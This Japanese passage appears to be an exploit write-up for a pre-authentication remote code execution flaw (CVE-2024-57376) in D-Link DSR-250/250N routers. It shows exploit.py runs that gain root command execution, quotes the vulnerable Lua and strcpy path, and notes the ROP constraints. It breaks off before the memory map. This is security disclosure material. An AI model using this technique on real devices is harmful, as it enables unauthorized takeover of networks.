
CVE-2024-57376 エクスプロイト
D-Link DSR-250 および DSR-250N 向けのプリオーセンスリモートコード実行エクスプロイト
セキュリティアドバイザリ: https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415
$ python3 exploit.py
usage: <host> <port> <command>
$ python3 exploit.py 192.168.1.1 443 id
[+] fingerprint
device: DSR-250N
year : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 24\r\nDate: Thu, 22 Dec 2022 11:50:49 GMT\r\nServer: Light Weight Web Server\r\n\r\nuid=0(root) gid=0(root)\n'
HTTP/1.1 200 OK
Content-Length: 24
Date: Thu, 22 Dec 2022 11:50:49 GMT
Server: Light Weight Web Server
uid=0(root) gid=0(root)
$ python3 exploit.py 192.168.1.1 443 'cat /pfrm2.0/etc/dlink_version'
[+] fingerprint
device: DSR-250N
year : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 12\r\nDate: Thu, 22 Dec 2022 11:57:35 GMT\r\nServer: Light Weight Web Server\r\n\r\n3.17B901C_WW'
HTTP/1.1 200 OK
Content-Length: 12
Date: Thu, 22 Dec 2022 11:57:35 GMT
Server: Light Weight Web Server
3.17B901C_WW
これはログアウトのために呼び出される duaCP.logout 関数のコードです。
function duaCP.logout (cgiparams)
local extCpResult, clientMac, clientIp, authenticatorIp, apMac, apIp, vendor,
ssid, deviceType, vlan, pageId, returnUrl, authSuccessUrl,
returnLogoutUrl, notifyUrl, sessionRandom, hash, token
local request = ""
extCpResult = cgiparams.externalCpResult
clientMac = cgiparams.clientMac
clientIp = cgiparams.clientIp
authenticatorIp = cgiparams.authenticatorIp
apMac = cgiparams.apMac
apIp = cgiparams.apIp
vendor = cgiparams.vendor
ssid = cgiparams.ssid
deviceType = cgiparams.deviceType
vlan = cgiparams.vlan
pageId = cgiparams.pageIndex
returnUrl = cgiparams.returnUrl
authSuccessUrl = cgiparams.authenticationSuccessUrl
returnLogoutUrl = cgiparams.returnLogoutUrl
notifyUrl = cgiparams.notifyUrl
sessionRandom = cgiparams.sessionRandom
hash = cgiparams.hash
token = db.getAttribute("cpExtWebServer", "_ROWID_", "1", "token")
local status, reason
reason = "success"
-- validate hash first
if (hashValidate (authenticatorIp, clientMac, token, sessionRandom, hash) == "ERROR") then
-- respond to DUA with failure result so that user will be shown login
-- page
reason = "failure"
end
status, clientMac, clientIp = duaCP.parse_logoutInfo (extCpResult)
if (status == "ERROR") then
reason = "failure"
end
-- redirect to DUA
duaCP.logoutProcess (cgiparams, reason, token)
end
これは次のものを呼び出します:
hashValidateduaCP.parse_logoutInfoduaCP.logoutProcess脆弱性のあるコードへのルートは duaCP.parse_logoutInfo です。これはユーザー入力である extCpResult を引数として使用します。
以下が duaCP.parse_logoutInfo のコードです。
function duaCP.parse_logoutInfo (extCpResult)
local status = "OK"
-- process the extCpResult
status, clientMac, clientIp = captivePortalLib.duaLogoutInfoGet (extCpResult)
if (status == "1" or tonumber (status) == 1) then
return "ERROR"
end
clientMac = clientMac:gsub("%-", "%:")
return status, clientMac, clientIp
end
これは captivePortalLib.duaLogoutInfoGet を呼び出します。extCpResult を直接パラメータとして使用します。そのコードは共有ライブラリ captivePortalLib.so に定義されています。

lua_tolstring は extCpResult の文字列ポインタを返し、strcpy が呼び出されます。strcpy はローカル変数をパラメータとして持っています。これは明らかにスタックバッファオーバーフローです。ROP ガジェットを連鎖させる必要があります。
strcpy によって脆弱性がトリガーされるため、いくつかの制限があります。NULL バイトを含めることはできません。
以下はメモリマップです: